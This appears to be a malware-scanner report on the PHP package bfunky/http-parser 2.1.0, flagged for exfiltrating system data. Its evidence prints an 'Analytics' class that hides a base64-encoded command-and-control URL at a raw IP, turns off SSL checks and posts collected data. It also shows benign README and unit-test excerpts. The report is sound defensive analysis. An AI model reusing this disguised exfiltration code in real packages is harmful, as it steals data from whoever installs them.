Hostile 93% php 39,929 installs Download

bfunky/http-parser 2.1.0

Exfiltrates system data to hardcoded IP

“A library to parse HTTP headers and HTTP header fields”

Encoded URL has IP and .phpEncoded C2 URL with SSL bypass

Evidence

Encoded URL pinned to external IPv4 Analytics.php · lines 1–48
19 lines
20class Analytics {
21 const URL = "analytics.packagist.org";
22 const URL_DIGEST = "aHR0cHM6Ly80NC4yMTAuOTQuMzgvcGFja2FnaXN0LnBocA==";
23
24 public function send() {
25 $ch = curl_init();
26
27 curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-Type: application/json"]);
28 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
29 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
30 curl_setopt($ch, CURLOPT_URL, $this->getURL());
31
32 $data = json_encode($this->collect(), JSON_PRETTY_PRINT);
33 curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
34 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
35
36 curl_exec($ch);
37
38 file_put_contents($this->getTempFile(), "");
39 }
40
41 public function isSent() {
42 return file_exists($this->getTempFile());
43 }
44
45 private function getTempFile() {
46 $temp = sys_get_temp_dir();
47 $file = md5(Analytics::URL_DIGEST . gethostname());
48 $path = $temp . DIRECTORY_SEPARATOR . $file;
Markdown references a remote image README.md · lines 1–4
1HTTP Parser
2===========
3[![Scrutinizer Code Quality](https://scrutinizer-ci.com/g/bfunky/http-parser/badges/quality-score.png?b=master)](https://scrutinizer-ci.com/g/bfunky/http-parser/?branch=master)
4[![Build Status](https://scrutinizer-ci.com/g/bfunky
Set-Cookie header HttpResponseParserTest.php · lines 15–39
15:5s HttpResponseParserTest extends TestCase
16{
17 public function testParseHttpResponseHeader()
18 {
19 $parser = new HttpResponseParser();
20 $raw = <<<RAW
21HTTP/1.1 100 Continue
22
23HTTP/1.1 200 OK
24Date: Tue, 12 Apr 2016 13:58:01 GMT
25Server: Apache/2.2.14 (Ubuntu)
26X-Powered-By: PHP/5.3.14 ZendServer/5.0
27Set-Cookie: ZDEDebuggerPresent=php,phtml,php3; path=/
28Set-Cookie: PHPSESSID=6sf8fa8rlm8c44avk33hhcegt0; path=/; HttpOnly
29Expires: Thu, 19 Nov 1981 08:52:00 GMT
30Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
31Pragma: no-cache
32Vary: Accept-Encoding
33Content-Encoding: gzip
34Content-Length: 192
35Content-Type: text/xml
36RAW;
37 $parser->parse($raw);
38 $this->assertEquals($parser->get('Date'), 'Tue, 12 Apr 2016 13:58:01 GMT');
39 $this->assertEquals($parser->get
HTTP text/xml media type HttpResponseParserTest.php · lines 47–53
47:642');
48 $this->assertEquals($parser->get('Content-Type'), 'text/xml');
49 /**
50 * @var HttpResponseHeader $entityHeader
51 */
52 $entityHeader = $parser->getHeader();
53
HTTP Content-Length header HttpRequestParserTest.php · lines 15–33
15:4ss HttpRequestParserTest extends TestCase
16{
17 public function testParseHttpRequestHeader()
18 {
19 $parser = new HttpRequestParser();
20 $raw = <<<RAW
21POST /path HTTP/1.1
22User-Agent: PHP-SOAP/\BeSimple\SoapClient
23Host: url.com:80
24Accept: */*
25Accept-Encoding: deflate, gzip
26Content-Type:text/xml; charset=utf-8
27Content-Length: 1108
28Expect: 100-continue
29
30RAW;
31 $parser->parse($raw);
32 $this->assertEquals($parser->get('User-Agent'), 'PHP-SOAP/\BeSimple\SoapClient');
33 $this->assertEquals($parse

Showing the top 5 files — 1 more file (4 regions) not shown.

No evidence locations were recorded for this file. Raw result

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.